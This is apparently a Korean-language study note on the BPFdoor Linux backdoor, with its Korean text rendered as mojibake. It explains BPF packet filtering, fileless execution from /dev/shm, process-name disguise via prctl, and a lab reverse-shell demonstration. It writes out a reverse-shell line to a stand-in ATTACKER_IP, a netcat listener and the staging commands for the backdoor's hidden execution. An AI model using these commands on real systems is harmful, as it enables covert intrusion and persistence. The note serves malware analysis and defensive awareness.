BPFdoor
π οΈ BPF (Berkeley Packet Filter)
BPFλ μ μ λͺ¨λ νλ‘κ·Έλ¨μ΄ λ€νΈμν¬ νν°μ μ΄νμΉνμ¬ μμΌμ ν΅ν΄ λ€μ΄μ€λ λ°μ΄ν°λ₯Ό νμ©νκ±°λ κ±°λΆν μ μκ² νμ©ν΄ μ£Όλ κΈ°μ μ΄λ€. μ¦ μ€ν μ€μΈ νλ‘κ·Έλ¨μ΄ μ¬μ© μ€μΈ λ€νΈμν¬ μμΌμ ν¨ν· νν°λ§ λ£°μ λ±λ‘ν μ μμΌλ©° μ΄λ₯Ό ν΅ν΄ λ°μ΄ν°λ₯Ό μ½κ±°λ μλ¦Όμ λ°μ μ μλ€.
1992λ μ κ°λ°λμ΄ ν¨ν· νν°λ‘ ν¨ν·μ λΆμνκ³ νν°λ§νλλ°μ μ¬μ©λλ in-kernel virtual machineμΌλ‘ BSDμμ μ²μμΌλ‘ λμ νμλ€. λ€νΈμν¬ λΆμ λꡬ (μ: tcpdump, wireshark)λ λλμ ν¨ν· μ€μμ κ΄μ¬ μλ ν¨ν·λ§ λΉ λ₯΄κ² μΆμΆν΄μΌ ν©λλ€. λͺ¨λ ν¨ν·μ μ¬μ©μ 곡κ°μΌλ‘ κ°μ Έμ νν°λ§νλ©΄ μ±λ₯μ΄ λ§€μ° λλΉ μ§λλ€.
λ°λΌμ 컀λλ 벨μμ λ¨Όμ νν°λ§ νκ³ νμν ν¨ν·λ§ μ μ 곡κ°μΌλ‘ μ λ¬νλ BPFκ° λ±μ₯νμλ€
π BPF Backdoor
BPFλ 컀λ λ€νΈμν¬ μ€νμ μ΄κΈ°λ¨κ³ socketμ΄μ μ νν°λ§μ΄ κ°λ₯νλ€. λ°λΌμ ν¬νΈλ₯Ό 리μ¨νμ§ μμλ ν¨ν·μ κ°λ‘μ±λκ²μ΄ κ°λ₯νλ€
λ°λΌμ
- 리μ€λ ν¬νΈ μμ: μΈλΆμ λ ΈμΆλλ ν¬νΈ μμ
- Fileless: λμ€ν¬μ νμ μ λ¨κΈ°μ§μμ
- 컀λμμ€μμ νΉμ ν¨ν·λ§ μμ
- RC4 μνΈν ν΅μ
- iptable κ·μΉ μ‘°μμΌλ‘ ν¬νΈ 리λ€μ΄λ μ
- μμ€ν λ°λͺ¬μ΄λ¦μΌλ‘ νλ‘μΈμ€ μμ₯
π§ νΉμ§
- μ€μΉ μμΉ: 리λ μ€ μμ€ν (μΌλ°μ μΌλ‘ λ°±κ·ΈλΌμ΄λ νλ‘μΈμ€)
- λμ λ°©μ: eBPFλ‘ ν¨ν· κ²μ¬ β νΉμ μκ·Έλμ²κ° λ€μ΄μ€λ©΄ μ μ€ν
- κΈ°λ₯: λͺ λ Ήμ΄ μ€ν, μλ°©ν₯ μ, ν¬νΈλ¦¬μ€λ μμ΄ λͺ λ Ή μμ
- μ κ·Ό λ°©λ²: λΉμ μμ μΈ TCP/UDP ν¨ν· μ΄μ©, ν¬νΈ μ΄μ§ μμ
- νμ§ λμ΄λ: λ§€μ° μ΄λ ΅λ€. λλΆλΆμ 보μ μ루μ μΌλ‘ νμ§ λΆκ°
π₯ ν΅μ¬ μ°¨λ³μ
- λ°©νλ²½ μ°ν: λ°©νλ²½μ΄ μ΄λ €μμ§ μμλ λ΄λΆλ‘ μ κ·Ό κ°λ₯
- λ‘κ·Έ λ―ΈκΈ°λ‘: 컀λ λ 벨μμ μμ β μμ€ν λ‘κ·Έμ λ¨μ§ μμ
- ν¬νΈλ¦¬μ€: 리μ€λ ν¬νΈ μμ΄λ λͺ λ Ή μμ (μ μ λΆμμΌλ‘λ νμ§ μ΄λ €μ)
Reverse Shell
곡격μκ° νΌν΄μμ μ»΄ν¨ν°λ‘ μ μνλκ²μ΄ μλ νΌν΄μμ μ»΄ν¨ν°κ° 곡격μμ μ»΄ν¨ν°μ μ μνμ¬ μμ μ 곡νλ λ°©μ
μμλ°μ΄λ μΈλ°μ΄λ 보μμ μ°ν
[νΌν΄μ PC] β μ μ β [곡격μ PC]
μμ μ΄μ΄μ€
π§± 2. μ ν΅μ 곡격과μ μ°¨μ΄μ
λ°©μ | 곡격μ μν | νΌν΄μ μν | λ°©νλ²½ μ°ν |
---|---|---|---|
λ°μΈλ μ | μ°κ²° μμ² | μλ²μ²λΌ λκΈ°(bind) | μ΄λ ΅λ€ |
리λ²μ€ μ | 리μ€λ(Listen) | ν΄λΌμ΄μΈνΈμ²λΌ μ°κ²° | μ¬μ βοΈ |
- Example
- 곡격μ
nc -lvnp 4444
- νΌν΄μ
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 ==> localhost
Memory based FS
리λ μ€ μμ€ν μμ
/dev/shm
κ²½λ‘λ λ©λͺ¨λ¦¬ κΈ°λ°μ νμΌ μμ€ν μΌλ‘ μ£Όλ‘ μμλ°μ΄ν° μ μ₯μ΄λ μ²λ¦¬μ μ¬μ©λλ€ -> λμ€ν¬μ κΈ°λ‘λμ§μκ³ λ©λͺ¨λ¦¬μμμλ§ μ΄μλκΈ°μ μμ£Ό μ μ©λλ€
/bin/rm -f /dev/shm/kdmtmpflush; # νμΌμ΄ μ‘΄μ¬νλ κ²½μ° μ§μ΄λ€ -> μ΄κΈ°ν λλ /bin/cp [μ μ±μ½λ] /dev/shm/kdmtmpflush && # μ μ±μ½λ λ°μ΄λ리 λ³΅μ¬ /bin/chmod 755 /dev/shm/kdmtmpflush && # νμΌ μ€νκΆν μ€μ /dev/shm/kdmtmpflush βinit kdmtmpflush && # μ μ±μ½λ μ€ν /bin/rm -f /dev/shm/kdmtmpflush # μλ³Έμ μ§μ°κΈ°
β μ /dev/shm
μΈκ°?
- π§ λ©λͺ¨λ¦¬ κΈ°λ°μ΄λΌ νμ μ΄ λμ€ν¬μ λ¨μ§ μμ
- /dev/shmμ RAM κΈ°λ° μμ νμΌμμ€ν (tmpfs)μ λλ€.
- νμΌμ μ¬κΈ°μ 볡μ¬νκ³ μ€ννλ©΄, λμ€ν¬ I/O μμ΄ λ©λͺ¨λ¦¬μμ μ§μ μ€νλ©λλ€.
- μ€ν ν μμ νλ©΄ λμ€ν¬ ν¬λ μ, λ‘κ·Έ κΈ°λ° νμ§μ νμ μ λ¨κΈ°μ§ μμ.
- π΅οΈ λμ€ν¬ κ°μ νμ§ μ°ν
- /dev/shmμ μΌλ°μ μΌλ‘ λ κ°μλλ―λ‘, μ¬κΈ°μ 볡μ¬νμ¬ μ€ννλ©΄ νμ§ νλ₯ μ΄ μ€μ΄λ¦.
πͺ Camouflage
μ μ ν μλ κ΄λ¦¬μλΌλ©΄ κ°λμ© μ΄λ€ νλ‘μΈμ€λ€μ΄ λμκ°κ³ μλμ§ νμΈμ νκΈ΄ ν κ²μ΄λ€. λ°λΌμ ν΄μ»€λ€μ κ·Έλ΄λ―ν μ΄λ¦μ ν΅ν΄ νλ‘μΈμ€λ₯Ό μ¨κΈ°κ³ μ νλ€
μ΄λ prctl()
ν¨μλ₯Ό ν΅ν΄ ν μ μλ€
char *self[] = { "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", "/usr/sbin/console-kit-daemon --no-daemon", "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event", "dbus-daemon --system", "hald-runner", "pickup -l -t fifo -u", "avahi-daemon: chroot helper", "/sbin/auditd -n", "/usr/lib/systemd/systemd-journald" };
μμ₯ λ¬Έμμ΄ | μ€μ μ©λ | μ μμ₯ν κΉ? |
---|---|---|
/sbin/udevd -d | Udev μ₯μΉ κ΄λ¦¬μ | νμ μ€νλλ―λ‘ λμ λμ§ μμ |
/sbin/mingetty /dev/tty7 | ν°λ―Έλ λ‘κ·ΈμΈ λ°λͺ¬ | tty λ¨λ§ κ΄λ ¨, μ΅μν μ΄λ¦ |
console-kit-daemon | λ‘κ·ΈμΈ/μΈμ κ΄λ¦¬ λ°λͺ¬ | GUI μμ€ν μμ νν¨ |
dbus-daemon --system | IPC λ©μμ§ λ²μ€ λ°λͺ¬ | νμ μ€νλ¨ |
hald-runner | HAL νλμ¨μ΄ μΆμν λ°λͺ¬ | μμ¦μ μ¬μ© μλμ§λ§ λ¨μ μμ μ μμ |
auditd -n | 보μ κ°μ¬ λ°λͺ¬ | κΆν μλ λ°λͺ¬, μμ¬ μ λ°μ |
systemd-journald | μμ€ν λ‘κ·Έ κΈ°λ‘ | μμ ν ν΅μ¬ νλ‘μΈμ€μ²λΌ 보μ |
#include <stdio.h>
#include <sys/prctl.h>
#include <string.h>
int main() {
const char *new_name = "unsuspicious-name";
if (prctl(PR_SET_NAME, (unsigned long)new_name, 0, 0, 0) == -1) {
perror("prctl");
return 1;
}
// pid νμΈ (ps aux | grep '^roh')
// λ³κ²½λ μ΄λ¦ νμΈ (ps -o comm -p <pid>)
while(1) {
sleep(10);
}
return 0;
}
π μ€μ΅
리λ μ€ λ¨Έμ μμ λ€μ λνμΌμ μ»΄νμΌ bpf trigger
μμ μ¬λ¬κ° μ€λΉνκ³ κ³΅κ²©μ μν μ ν μμμ nc -lvnp 4444
λͺ
λ Ήμ΄λ₯Ό μ¬μ©ν΄ 리λ²μ€ μ μ°κ²°μ λκΈ°νλ€
ν μμμλ κ΄λ¦¬μ κΆνμΌλ‘ bpf μ€ν νμμμλ trigger νΈλ¦¬κ±°λ₯Ό μλνλ€ μ΄ν 리λ²μ€ μ μ°κ²°μ΄ λλ λͺ¨μ΅μ νμΈν μ μλ€
π κ³ μ°°
μ£ΌκΈ°μ μΌλ‘ μ€νμ€μΈ νλ‘μΈμ€λ₯Ό μ κ²ν΄λ³΄μ
μμλ°μ΄λ μ€μ λ μ€μνλ€
κ·ΈλΌμλ νΈλ¦΄μμμΌλ μ€μ λ°μ΄ν°λ μνΈννμ
Credits